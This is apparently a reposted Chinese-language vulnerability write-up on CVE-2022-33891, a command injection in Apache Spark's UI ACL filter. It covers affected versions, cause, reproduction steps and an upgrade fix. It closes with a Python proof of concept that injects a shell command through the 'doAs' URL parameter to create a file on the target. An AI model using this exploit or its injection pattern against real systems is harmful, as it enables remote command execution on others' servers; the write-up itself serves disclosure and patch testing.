一、漏洞概述
Apache Spark 是專為大規模資料處理而設計的快速通用的計算引擎,Spark是UC Berkeley AMP lab (加州大學伯克利分校的AMP實驗室)所開源的類Hadoop MapReduce的通用并行框架,Spark,擁有Hadoop MapReduce所具有的優點;但不同于MapReduce的是——Job中間輸出結果可以保存在記憶體中,從而不再需要讀寫HDFS,因此Spark能更好地適用于資料挖掘與機器學習等需要迭代的MapReduce的演算法,
二、影響版本
- ≤3.0.3
- 3.1.1 - 3.1.2
- 3.2.0 - 3.2.1
三、漏洞原理
Apache Spark UI 可以設定選項 spark.acls.enable 啟用 ACL ,使用身份驗證過濾器,用以檢查用戶是否具有查看或修改應用程式的訪問權限,如果啟用了 ACL則 HttpSecurityFilter 中的代碼路徑可以允許用戶通過提供任意用戶名來執行命令,該功能最終將根據用戶輸入構建一個 Unix shell 命令并執行它,最終導致任意命令執行,——https://blog.csdn.net/qq_42660246/article/details/125902229
四、漏洞復現環境
OS:Kali Linux
Apache Spark versions:3.0.3(https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz)
五、實驗步驟
1.下載Apache Spark 3.0.3,并解壓

2.啟動 Apache spark 專案,訪問頁面(這里要啟用spark.acls.enable)
./bin/spark-shell --conf spark.acls.enable=true


3.抓包,構造惡意請求,執行命令注入

4.回到“/”目錄下,可以看到生成了新檔案

六、修復方式
官方已發布新版本修復了該漏洞,請受影響的用戶升級前請將資料備份,并進行充分測驗到安全版本:https://github.com/apache/spark/tags
七、Poc
import requests import argparse import os def exploit(url): url = "http://"+url+"/jobs/?doAs=`touch%20/wavesky.txt`" response = requests.get(url=url) if(response.status_code == 403): if(os.access("/wavesky.txt",os.F_OK)): print("It looks likely vulnerable") os.system('ls /') # If you don't want to save this file,please delete '#' in nextline # os.system('rm -rf /wavesky.txt') else: print("It is strong") else: print("It is strong") if __name__ == '__main__': parameter = argparse.ArgumentParser(description='Poc CVE-2022-33891:') parameter.add_argument('-file',help='url file',required=False) parameter.add_argument('-url',help='ip:port',required=False) para = parameter.parse_args() if para.url: exploit(para.url) exit() else: parameter.print_help()
Github——https://github.com/wave-to/Poc/blob/main/Injection/Poc_CVE-2022-33891.py
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/500540.html
標籤:其他
下一篇:HCIA學習筆記七:IP地址
